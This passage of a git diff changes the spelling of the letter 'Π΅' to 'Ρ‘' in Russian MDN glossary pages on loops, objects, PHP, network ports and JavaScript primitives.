-<p>Для ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° синтаксис выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Для ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° синтаксис выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
<li>Statement 1 устанавливаСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ для Ρ†ΠΈΠΊΠ»Π° (var i = 0).</li>
@@ -67,7 +67,7 @@ while(i &lt; 5){
//Π­Ρ‚ΠΎΡ‚ Ρ†ΠΈΠΊΠ» Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ числа 0-4 ΠΈ остановится, ΠΊΠΎΠ³Π΄Π° условиС станСт Π»ΠΎΠΆΠ½Ρ‹ΠΌ (i &gt;=5)
</pre>
-<p>Для ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° синтаксис выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
+<p>Для ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° синтаксис выглядит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ul>
<li>Π‘Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, ΠΏΠΎΠΊΠ° пСрСмСнная (i) мСньшС 5.</li>
diff --git a/files/ru/glossary/object/index.html b/files/ru/glossary/object/index.html
index bb8dafa4ba..4d0fe09917 100644
--- a/files/ru/glossary/object/index.html
+++ b/files/ru/glossary/object/index.html
@@ -12,7 +12,7 @@ tags:
translation_of: Glossary/Object
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Object
---
-<p><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">ΠžΠ±ΡŠΠ΅ΠΊΡ‚</a> относится ΠΊ структурС Π΄Π°Π½Π½Ρ‹Ρ…, содСрТит Π² сСбС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ инструкции ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π½ΠΈΠΌΠΈ. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ΠΌΠ°ΡˆΠΈΠ½Ρƒ, яблоко, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΊΠ°Ρ€Ρ‚Ρƒ ΠΊ сокровищам с Π΅Π΅ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ ΠΈ инструкциями ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ Π΄ΠΎ этих сокровищ.<br>
+<p><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Object">ΠžΠ±ΡŠΠ΅ΠΊΡ‚</a> относится ΠΊ структурС Π΄Π°Π½Π½Ρ‹Ρ…, содСрТит Π² сСбС Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ инструкции ΠΏΠΎ Ρ€Π°Π±ΠΎΡ‚Π΅ с Π½ΠΈΠΌΠΈ. ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π΅Π°Π»ΡŒΠ½Ρ‹Π΅ Π²Π΅Ρ‰ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€: ΠΌΠ°ΡˆΠΈΠ½Ρƒ, яблоко, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ ΠΊΠ°Ρ€Ρ‚Ρƒ ΠΊ сокровищам с Π΅Ρ‘ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Π°ΠΌΠΈ ΠΈ инструкциями ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΄ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ Π΄ΠΎ этих сокровищ.<br>
<br>
{{glossary("JavaScript")}}, Java, C++,Β Python, ΠΈ Ruby это языки программирования ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ относятся ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ языкам (ООП)</p>
diff --git a/files/ru/glossary/php/index.html b/files/ru/glossary/php/index.html
index 7fe12c9a16..a1db2d08a1 100644
--- a/files/ru/glossary/php/index.html
+++ b/files/ru/glossary/php/index.html
@@ -5,7 +5,7 @@ translation_of: Glossary/PHP
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/PHP
---
<dl>
- <dd><acronym title="PHP: Hypertext Preprocessor">PHP</acronym>, Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉΡΡ ΠΊΠ°ΠΊ "<em>PHP: Hypertext Preprocessor</em>" - Β«PHP: ΠŸΡ€Π΅ΠΏΡ€ΠΎΡ†Π΅ΡΡΠΎΡ€ ГипСртСкста», являСтся распространСнным ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ языком ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ. PHP создавался ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для вСдСния web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΎΠΊ ΠΈ ΠΊΠΎΠ΄ Π½Π° Π½Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒΡΡ нСпосрСдствСнно Π² HTML-ΠΊΠΎΠ΄. Бинтаксис языка Π±Π΅Ρ€Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈΠ· C, Java ΠΈ Perl, ΠΈ являСтся Π»Π΅Π³ΠΊΠΈΠΌ для изучСния. Основной Ρ†Π΅Π»ΡŒΡŽ PHP являСтся прСдоставлСниС web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ возмоТности быстрого создания динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… web-страниц, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ примСнСния PHP Π½Π΅ ограничиваСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этим.</dd>
+ <dd><acronym title="PHP: Hypertext Preprocessor">PHP</acronym>, Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉΡΡ ΠΊΠ°ΠΊ "<em>PHP: Hypertext Preprocessor</em>" - Β«PHP: ΠŸΡ€Π΅ΠΏΡ€ΠΎΡ†Π΅ΡΡΠΎΡ€ ГипСртСкста», являСтся распространённым ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΌ языком ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ. PHP создавался ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для вСдСния web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΎΠΊ ΠΈ ΠΊΠΎΠ΄ Π½Π° Π½Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π½Π΅Π΄Ρ€ΡΡ‚ΡŒΡΡ нСпосрСдствСнно Π² HTML-ΠΊΠΎΠ΄. Бинтаксис языка Π±Π΅Ρ€Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΠΎ ΠΈΠ· C, Java ΠΈ Perl, ΠΈ являСтся Π»Ρ‘Π³ΠΊΠΈΠΌ для изучСния. Основной Ρ†Π΅Π»ΡŒΡŽ PHP являСтся прСдоставлСниС web-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ возмоТности быстрого создания динамичСски Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹Ρ… web-страниц, ΠΎΠ΄Π½Π°ΠΊΠΎ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ примСнСния PHP Π½Π΅ ограничиваСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ этим.</dd>
</dl>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/port/index.html b/files/ru/glossary/port/index.html
index 7ad7227103..e5817fec9c 100644
--- a/files/ru/glossary/port/index.html
+++ b/files/ru/glossary/port/index.html
@@ -10,7 +10,7 @@ tags:
translation_of: Glossary/Port
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/ΠŸΠΎΡ€Ρ‚
---
-<p>Для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΊ сСти ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° с {{Glossary("IP address")}}, <strong>ΠΏΠΎΡ€Ρ‚</strong> <span class="st">– </span> это конСчная Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° для ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΉ. ΠŸΠΎΡ€Ρ‚Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ числами, ΠΈ Π΄ΠΎ 1024 ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΏΠΎΡ€Ρ‚Ρƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ».</p>
+<p>Для ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ³ΠΎ ΠΊ сСти ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° с {{Glossary("IP address")}}, <strong>ΠΏΠΎΡ€Ρ‚</strong> <span class="st">– </span> это конСчная Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° для ΠΊΠΎΠΌΠΌΡƒΠ½ΠΈΠΊΠ°Ρ†ΠΈΠΉ. ΠŸΠΎΡ€Ρ‚Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‚ΡΡ числами, ΠΈ Π΄ΠΎ 1024 ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΏΠΎΡ€Ρ‚Ρƒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ».</p>
<p>НапримСр, ΠΏΠΎΡ€Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° {{Glossary("HTTP")}} <span class="st">– </span> 80, Π° ΠΏΠΎΡ€Ρ‚ для ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTPS <span class="st">– </span>443, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ {{Glossary("HTTP")}}-сСрвСр ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ входящиС запросы Π½Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΏΠΎΡ€Ρ‚Π°Ρ…. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΈΠΌΠ΅Π΅Ρ‚ ΠΏΠΎΡ€Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ: {{Glossary("SMTP")}} (25), {{Glossary("POP3")}} (110), {{Glossary("IMAP")}} (143), {{Glossary("IRC")}} (194) ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
diff --git a/files/ru/glossary/primitive/index.html b/files/ru/glossary/primitive/index.html
index 6c04ad2aa4..39f3f3aac6 100644
--- a/files/ru/glossary/primitive/index.html
+++ b/files/ru/glossary/primitive/index.html
@@ -36,7 +36,7 @@ console.log(foo); // ["plugh"]
bar = bar.toUpperCase(); // BAZ
</pre>
-<p><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ² ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Π΅Π½, Π½ΠΎ ΠΎΠ½ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½.</span></span></p>
+<p><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ² ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‘Π½, Π½ΠΎ ΠΎΠ½ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½.</span></span></p>
<h2 id="Π”Ρ€ΡƒΠ³ΠΎΠΉ_ΠΏΡ€ΠΈΠΌΠ΅Ρ€_Step-by-step">Π”Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ [ Step-by-step ]</h2>
@@ -70,20 +70,20 @@ console.log(foo); // 5
<ul>
<li>ΠŸΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ ΠΎΠ±Π΅ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <code>addTwo</code> <code>ΠΈ addTwo_v2</code>, JavaScript ΠΈΡ‰Π΅Ρ‚ <span class="short_text" id="result_box" lang="ru"><span>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Π°</span></span> <code>foo</code>. JavaScript <span id="result_box" lang="ru"><span>ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ опрСдСляСт Π½Π°ΡˆΡƒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΡΠΎΠ·Π΄Π°Π½Π½ΡƒΡŽ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°</span></span></li>
- <li><span id="result_box" lang="ru"><span>ПослС этого JavaScript ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°</span></span></li>
- <li>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, <strong>JavaScript Π±Π΅Ρ€Π΅Ρ‚ исходный ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ </strong>(ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ) ΠΈ создаСт Π΅Π³ΠΎ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΈ ΠΊΠΎΠΏΠΈΠΈ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ областСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, доступны Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² опрСдСлСниях Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span></span> (<code>num</code> для <code>addTwo</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">foo</span></font> для <code>addTwo_v2</code>)</li>
+ <li><span id="result_box" lang="ru"><span>ПослС этого JavaScript ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°</span></span></li>
+ <li>ΠŸΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, <strong>JavaScript Π±Π΅Ρ€Π΅Ρ‚ исходный ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ </strong>(ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²ΠΎΠΌ) ΠΈ создаёт Π΅Π³ΠΎ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΡƒΡŽ копию. <span id="result_box" lang="ru"><span>Π­Ρ‚ΠΈ ΠΊΠΎΠΏΠΈΠΈ, ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Π½ΡƒΡ‚Ρ€ΠΈ областСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, доступны Ρ‡Π΅Ρ€Π΅Π· ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€Ρ‹, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π² опрСдСлСниях Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span></span> (<code>num</code> для <code>addTwo</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">foo</span></font> для <code>addTwo_v2</code>)</li>
<li><span class="short_text" id="result_box" lang="ru"><span>Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</span></span>:
<ul>
<li>Π’ ΠΏΠ΅Ρ€Π²ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ‹Π» создан Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ <code>num</code>. <span id="result_box" lang="ru"><span>ΠœΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° 2</span></span> (Π° Π½Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ исходной ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>foo</code>).</li>
<li>Π’ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π±Ρ‹Π» создан Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚<code> foo</code>. ΠœΡ‹ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Π΅ΠΌ Π΅Π³ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π° 2 (Π° Π½Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ исходной (внСшнСй) ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>foo</code>).Β  <span id="result_box" lang="ru"><span>ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π² этой ситуации, внСшняя пСрСмСнная</span></span> <code>foo</code> являСтся нСдоступной <strong>Π½ΠΈΠΊΠ°ΠΊΠΈΠΌ</strong> способом. Π­Ρ‚ΠΎ связано с лСксичСскими областями JavaScript ΠΈ, ΠΊΠ°ΠΊ слСдствиС, с Π·Π°Ρ‚Π΅Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…. Π›ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ пСрСмСнная <code>foo</code> скрываСт внСшнюю ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ <code>foo</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, смотри <a href="/en-US/docs/Web/JavaScript/Closures">Closures</a>.</li>
</ul>
</li>
- <li>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΈΠΊΠ°ΠΊΠΈΠ΅ измСнСния Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <strong>Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚</strong> Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° ИБΠ₯ΠžΠ”ΠΠ£Π <code>foo</code> Π²ΠΎΠΎΠ±Ρ‰Π΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с Π΅Π΅ <strong>копиями</strong></li>
+ <li>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½ΠΈΠΊΠ°ΠΊΠΈΠ΅ измСнСния Π²Π½ΡƒΡ‚Ρ€ΠΈ Π½Π°ΡˆΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <strong>Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚</strong> Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° ИБΠ₯ΠžΠ”ΠΠ£Π <code>foo</code> Π²ΠΎΠΎΠ±Ρ‰Π΅, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с Π΅Ρ‘ <strong>копиями</strong></li>
</ul>
-<p><span id="result_box" lang="ru"><span>Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ нСизмСняСмы </span></span><strong>(immutable)</strong><span lang="ru"><span>.</span> <span>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ΠœΡ‹ создаСм копию ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½Π΅ΠΉ, Π½Π΅ касаясь исходных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ нСизмСняСмы </span></span><strong>(immutable)</strong><span lang="ru"><span>.</span> <span>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π½Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ Π½Π°Π΄ Π½ΠΈΠΌΠΈ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ. ΠœΡ‹ создаём копию ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅ΠΌ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½Π΅ΠΉ, Π½Π΅ касаясь исходных Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ.</span></span></p>
-<h2 id="ΠžΠ±Π΅Ρ€Ρ‚ΠΊΠΈ_ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ…_Ρ‚ΠΈΠΏΠΎΠ²_Π²_JavaScript">ΠžΠ±Π΅Ρ€Ρ‚ΠΊΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Ρ‚ΠΈΠΏΠΎΠ² Π² JavaScript</h2>
